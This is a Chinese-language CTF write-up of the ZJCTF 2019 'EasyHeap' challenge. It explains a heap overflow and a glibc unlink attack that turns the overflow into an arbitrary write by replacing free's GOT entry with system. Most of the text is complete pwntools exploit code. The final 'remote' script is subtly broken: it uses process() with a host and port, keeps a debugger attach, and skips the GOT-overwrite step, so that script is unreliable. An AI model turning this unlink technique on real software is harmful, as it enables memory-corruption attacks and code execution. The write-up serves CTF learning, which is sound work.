[ZJCTF 2019]EasyHeap-patchlibc-调试

1,三连
在这里插入图片描述主要功能:
1、malloc申请chunk
2、修改chunk内容
3、free chunk
4、exit

堆题多看一个libc信息:
在这里插入图片描述

2,IDA分析

2.1、malloc申请chunk
在这里插入图片描述

  • heaparray[i]:存放 chunk 的地址。
  • read_input(heaparray[i], size):向 chunk 写入 size 大小的内容。
  • heaparray是存放在bss段上的(一个全局地址,这很关键)

2.2、修改chunk内容
在这里插入图片描述- read_input(*(&heaparray + v1), v2)向 chunk 中写入 v2(我们可输入控制) 大小的内容,也就是说如果 v2 比 create 时的 size 大的话就会造成堆溢出。

2.3、free chunk

在这里插入图片描述

  • 安全的free chunk,不存在UFA

2.4、找到个system
在这里插入图片描述
思路:unlink利用,PIE保护也没有开启,正好可以修改free的got表.

3,首先针对每个函数写出对应的函数

def add(size,content):
    r.recvuntil("Your choice :")
    r.sendline('1')
    r.recvuntil("Size of Heap : ")
    r.sendline(str(size))
    r.recvuntil("Content of heap:")
    r.sendline(content)

def edit(idx, size, content):
    r.recvuntil("Your choice :")
    r.sendline('2')
    r.recvuntil("Index :")
    r.sendline(str(idx))
    r.recvuntil("Size of Heap : ")
    r.sendline(str(size))
    r.recvuntil("Content of heap : ")
    r.sendline(content)

def delete(idx):
    r.recvuntil("Your choice :")
    r.sendline('3')
    r.recvuntil("Index :")
    r.sendline(str(idx))

获取到堆在BSS段上的地址:heaparray_addr = 0x6020E0

4,不断调试测试payload
首先创建三个chunk:

add(0x90,b"AAAA")	#CHUNK0
add(0x90,b"AAAA")	#CHUNK1
add(0x20,b"/bin/sh\x00")	#CHUNK2

编辑chunk0构造出一个fake_chunk,方便chunk1 free的时候进行合并:

# pre_size + size + fd + bk
fake_chunk = p64(0)+p64(0x91) + p64(heaparray_addr-0x18) + p64(heaparray_addr-0x10)
# mem
fake_chunk = fake_chunk.ljust(0x90,b'A')
# pre_size + size
fake_chunk += p64(0x90) + p64(0xa0)

扩展:
已经patch了libc,但是ld和libc还是得这样分来指定才能顺利替换,奇怪!
如果全都本地指定也不行。
在这里插入图片描述
调试1:
在这里插入图片描述调试2:
在这里插入图片描述unlink前状态:
在这里插入图片描述

调试3:
前面伪造的fd=0x6020C8
在这里插入图片描述调试4:
后面只用关注伪造的fd地址0x6020C8即可,也即是heaparray_addr - 0x18
在这里插入图片描述调试5:
在这里插入图片描述
完整调试payload:

from pwn import *

context.log_level = "debug"

#r = remote("node4.buuoj.cn",27837)
#r = process("./easyheap")

#r = process(["ld-2.23.so","./easyheap"],env={"LD_PRELOAD":"./libc-2.23.so"}) 
r = process(["./easyheap"],env={"LD_PRELOAD":"./libc-2.23.so"}) 

elf = ELF("./easyheap")


def add(size,content):
    r.recvuntil("Your choice :")
    r.sendline('1')
    r.recvuntil("Size of Heap : ")
    r.sendline(str(size))
    r.recvuntil("Content of heap:")
    r.sendline(content)

def edit(idx, size, content):
    r.recvuntil("Your choice :")
    r.sendline('2')
    r.recvuntil("Index :")
    r.sendline(str(idx))
    r.recvuntil("Size of Heap : ")
    r.sendline(str(size))
    r.recvuntil("Content of heap : ")
    r.sendline(content)

def delete(idx):
    r.recvuntil("Your choice :")
    r.sendline('3')
    r.recvuntil("Index :")
    r.sendline(str(idx))

heaparray_addr = 0x6020E0
system_plt = elf.plt['system']
free_got = elf.got['free']

gdb.attach(r)
#gdb.attach(r, '''
#    set follow-fork-mode child
#    b *0x400000+0xC34
#    c
#''')

add(0x90,b"AAA")#0
add(0x90,b"AAA")#1
add(0x20,b"/bin/sh\x00")#2

#pause()#break1
# pre_size + size + fd + bk
fake_chunk = p64(0)+p64(0x91) + p64(heaparray_addr-0x18) + p64(heaparray_addr-0x10)

# mem
fake_chunk = fake_chunk.ljust(0x90,b'A')
# pre_size + size
fake_chunk += p64(0x90) + p64(0xa0)

edit(0,0x100,fake_chunk)
#pause()#break2
#unlink
delete(1)
#pause()#break3

#chunk[3] = arbitray write addr
payload = p64(0)*3 + p64(free_got)
edit(0,0x20,payload)
#pause()#break4
#chunk[0] = plt
edit(0,8,p64(system_plt))
pause()#break5
delete(2)

r.interactive()

pause()调试缺点:注释后每次都得重新执行

复习思路:
heaparray_addr = malloc(chunk0)这里获得的就是&chunk[0];
unlink后
chunk[3] == &chunk[0];
通过修改chunk[3]的值 ->控制 &chunk[0] ->
heaparray_addr的值被修改,本来应该是真正堆上的地址变成了chunk[3] = [任意地址]
heaparray_addr = &chunk[0] == chunk[3] ->实现[任意地址]写

unlink场景特征:
1、存在溢出
2、一个全局指针

目的:
实现任意地址写

解题技巧:
1、伪造chunk[2]=[全局地址-3] ;chunk[3] = [全局地址-2]
(目的:为了实现unlink后,chunk[3] == &chunk[0];)
2、溢出伪造下一个chunk的pre_size和size
3、填入控制任意地址,chunk[3] = [任意地址]
4、给任意地址填入内容,chunk[0] = [任意内容]

5,远程不调试版payload

from pwn import *

context.log_level = "debug"


r = process("node4.buuoj.cn",28444)

elf = ELF("./easyheap")


def add(size,content):
    r.recvuntil("Your choice :")
    r.sendline('1')
    r.recvuntil("Size of Heap : ")
    r.sendline(str(size))
    r.recvuntil("Content of heap:")
    r.sendline(content)

def edit(idx, size, content):
    r.recvuntil("Your choice :")
    r.sendline('2')
    r.recvuntil("Index :")
    r.sendline(str(idx))
    r.recvuntil("Size of Heap : ")
    r.sendline(str(size))
    r.recvuntil("Content of heap : ")
    r.sendline(content)

def delete(idx):
    r.recvuntil("Your choice :")
    r.sendline('3')
    r.recvuntil("Index :")
    r.sendline(str(idx))

heaparray_addr = 0x6020E0
system_plt = elf.plt['system']
free_got = elf.got['free']


add(0x90,b"AAA")#0
add(0x90,b"AAA")#1
add(0x20,b"/bin/sh\x00")#2

# pre_size + size + fd + bk
fake_chunk = p64(0)+p64(0x91) + p64(heaparray_addr-0x18) + p64(heaparray_addr-0x10)

gdb.attach(r)
#gdb.attach(sh,"b* 0x400930")

# mem
fake_chunk = fake_chunk.ljust(0x90,b'A')
# pre_size + size
fake_chunk += p64(0x90) + p64(0xa0)


edit(0,0x100,fake_chunk)
#unlink
delete(1)


#chunk[3] = arbitray write addr
payload = p64(0)*3 + p64(free_got)
edit(0,0x20,payload)
#chunk[0] = plt
delete(2)

r.interactive()
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值